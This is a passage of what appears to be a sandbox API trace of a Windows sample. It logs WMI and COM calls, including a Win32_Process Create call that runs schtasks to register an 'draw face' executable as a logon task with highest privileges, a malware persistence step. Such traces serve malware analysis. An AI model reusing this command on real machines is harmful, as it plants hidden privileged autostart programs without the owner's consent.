This=0x1b4b08a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0120.260] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0120.260] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0120.260] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0120.260] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0120.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b08a0) returned 0x0 [0120.260] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0120.260] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0120.261] WbemDefPath:IWbemPath:SetText (This=0x1b4b08a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0120.261] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af2e0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b08a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b08a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0120.261] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af2e0, uIndex=0x0, pszName="root") returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b08a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b08a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0120.261] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af2e0, uIndex=0x1, pszName="cimv2") returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b08a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b08a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af2e0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af2e0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af2e0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af2e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0120.261] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0120.262] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0120.262] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0120.262] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0120.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511098) returned 0x0 [0120.262] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x3 [0120.262] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0120.263] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0120.263] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0120.263] IWbemServices:GetObject (in: This=0x1b4cea70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d7900, ppCallResult=0x0) returned 0x0 [0120.266] IWbemClassObject:GetMethod (in: This=0x1b4d7900, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d7c70, ppOutSignature=0x1b30d610*=0x1b4d97f0) returned 0x0 [0120.266] IWbemClassObject:SpawnInstance (in: This=0x1b4d7c70, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b469f40) returned 0x0 [0120.266] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2737ae8*=0, plFlavor=0x2737aec*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2737ae8*=8, plFlavor=0x2737aec*=32) returned 0x0 [0120.266] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2737ae8*=8, plFlavor=0x2737aec*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2737ae8*=8, plFlavor=0x2737aec*=32) returned 0x0 [0120.267] IWbemClassObject:Put (This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"draw face\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0120.267] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2737b78*=0, plFlavor=0x2737b7c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2737b78*=13, plFlavor=0x2737b7c*=32) returned 0x0 [0120.267] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2737b78*=13, plFlavor=0x2737b7c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2737b78*=13, plFlavor=0x2737b7c*=32) returned 0x0 [0120.267] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d7590) returned 0x0 [0120.267] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0120.267] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0120.267] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0120.267] IUnknown:AddRef (This=0x1b4d7590) returned 0x3 [0120.267] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0120.267] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0120.268] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d7598) returned 0x0 [0120.268] IMarshal:GetUnmarshalClass (in: This=0x1b4d7598, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0120.268] IUnknown:Release (This=0x1b4d7598) returned 0x3 [0120.268] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0120.268] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0120.268] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0120.268] IUnknown:Release (This=0x1b4d7590) returned 0x2 [0120.268] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0120.268] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0120.268] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0120.268] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0120.268] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0120.268] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0120.268] IUnknown:AddRef (This=0x1b4d7590) returned 0x3 [0120.268] IWbemClassObject:Put (This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d7590, varVal2=0x0), Type=0) returned 0x0 [0120.268] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af0a0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0120.268] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0120.269] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0120.269] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0120.269] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0120.269] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.269] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0120.269] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0120.269] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511098) returned 0x0 [0120.269] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x3 [0120.269] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0120.269] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0120.269] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0120.269] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511098) returned 0x0 [0120.269] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x3 [0120.269] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0120.269] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0120.269] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0120.269] IWbemServices:ExecMethod (in: This=0x1b4cea70, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b469f40, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b425ad0, ppCallResult=0x0) returned 0x0 [0120.414] IWbemClassObject:Get (in: This=0x1b425ad0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2777780*=0, plFlavor=0x2777784*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12cc, varVal2=0x0), pType=0x2777780*=19, plFlavor=0x2777784*=0) returned 0x0 [0120.414] IWbemClassObject:Get (in: This=0x1b425ad0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2777780*=19, plFlavor=0x2777784*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12cc, varVal2=0x0), pType=0x2777780*=19, plFlavor=0x2777784*=0) returned 0x0 [0120.414] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0120.414] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0120.414] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0120.414] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.415] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b45d750) returned 0x0 [0120.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d750, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0120.415] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d750, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af3a0) returned 0x0 [0120.415] WbemDefPath:IUnknown:Release (This=0x1b45d750) returned 0x0 [0120.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af3a0) returned 0x0 [0120.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0120.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0120.416] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0120.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0120.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0120.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b45d4d0) returned 0x0 [0120.416] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d4d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.416] WbemDefPath:IUnknown:Release (This=0x1b45d4d0) returned 0x3 [0120.416] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0120.416] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0120.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0120.416] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0120.416] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0120.416] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0120.416] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0120.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af3a0) returned 0x0 [0120.416] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0120.416] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0120.417] WbemDefPath:IWbemPath:SetText (This=0x1b4af3a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0120.417] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0120.417] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0120.417] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0120.417] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af3a0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0120.417] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d698 | out: 